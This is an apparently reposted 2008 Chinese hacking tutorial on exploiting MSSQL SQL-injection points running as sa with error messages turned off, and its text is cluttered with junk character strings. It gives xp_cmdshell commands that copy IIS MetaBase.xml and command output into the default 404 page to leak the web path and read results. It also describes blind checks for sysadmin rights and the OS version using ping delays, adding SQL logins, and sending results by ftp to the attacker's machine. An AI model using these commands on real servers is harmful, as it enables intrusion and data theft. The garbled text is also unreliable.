遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
. `* A" B- Y) L
7 E+ M& p; }" _- t; d5 w3 v; Y 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
. u1 E9 E: V: I# V) O
3 l5 G* e! ~* U/ N0 b) ?& N 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
d1 n* a$ }* U p3 E, B
) e; D( u( P& u b IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
, T7 y( Q/ O' i$ \! s- g% H; N9 d6 }
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--, c9 X% R& x6 T5 J. K% j
! d' ]2 {: f+ G/ L8 X3 d# [8 U ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。9 @3 O' K! {3 Y7 {) M" Y6 t
6 c3 N6 g" e" `% w, V6 g 执行命令得到回显+ k b6 l( \( @
% l# {# J3 H6 Z5 x1 s. w4 F4 E 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
+ _$ x w$ E3 S" h6 r" Y5 g, A
得到文件也shi相同,把文件copy到404b.htm就行了7 `2 i0 Q j1 W' v7 `
/ ]* j0 U- N1 f
by 28ice, 2008/6/26" K4 i: a( M2 s. ^) d( w* B- M
4 \' @: W0 B' M) v3 y 摘自 28度的冰
/ z9 X) ]9 h0 a) }
& i# {- ` H3 Q' d4 l! C- M+ K 盲注判断权限和操作系统版本$ ~. r2 s0 t2 N6 ?9 [1 L, V, e( p
# C( D: @/ |# q 首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
" I2 }- x- F/ A* }/ y& I2 z8 Q2 N. E& o, S0 h
最简单的,可能以用这样的方法:; E; [( `" ^6 l/ e( E. j8 y
V0 _/ B9 \. i) @, ~' C9 L" g8 P 1=(select IS_SRVROLEMEMBER(’sysadmin’)); M; O: A0 Z; j* \* @5 J
) M' l; v# O" g4 R2 x 当然,有些情况下,这个方法并不奏效。
, u7 Z6 z$ C7 `9 u C! X* u- g( E% u! i6 ~( t7 ]
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。# J% ^: Y/ n# A1 i
% a* t7 t q3 P: c2 w/ }1 D 有个3办法可能以解决这个问题. r; l$ K7 t1 v: r
, u0 `: Z. z7 k2 \- I9 y
a.把执行结果写到404b.htm,具体请看我的上一篇文章" A3 @' r3 y6 t+ q9 r2 U
" [5 B4 }$ K9 J+ `, Q& a- P
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
* O* k9 f: r1 j$ Q
( J6 z, j0 M4 ~, h$ a c.如果1433端口可能以连接,那干脆新建个sql登录$ d4 k+ q2 S6 L% V* |
/ Z" m+ |' V# C) Q% }( A d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
& `& _7 z, \; x* N! ? w- L4 Y; u& C. g% D4 [( N' K
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
7 P) ?% `" T! G1 d# D( J9 F, u9 Y5 U* M; @
很简单0 q' P4 N. a4 P0 t C2 `3 ^
# |9 V& s/ P4 R2 t4 M4 Q z1 _1 Z# w
执行systeminfo& o- j: F/ M; b$ j
& j' l, I7 T+ S7 e/ i
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |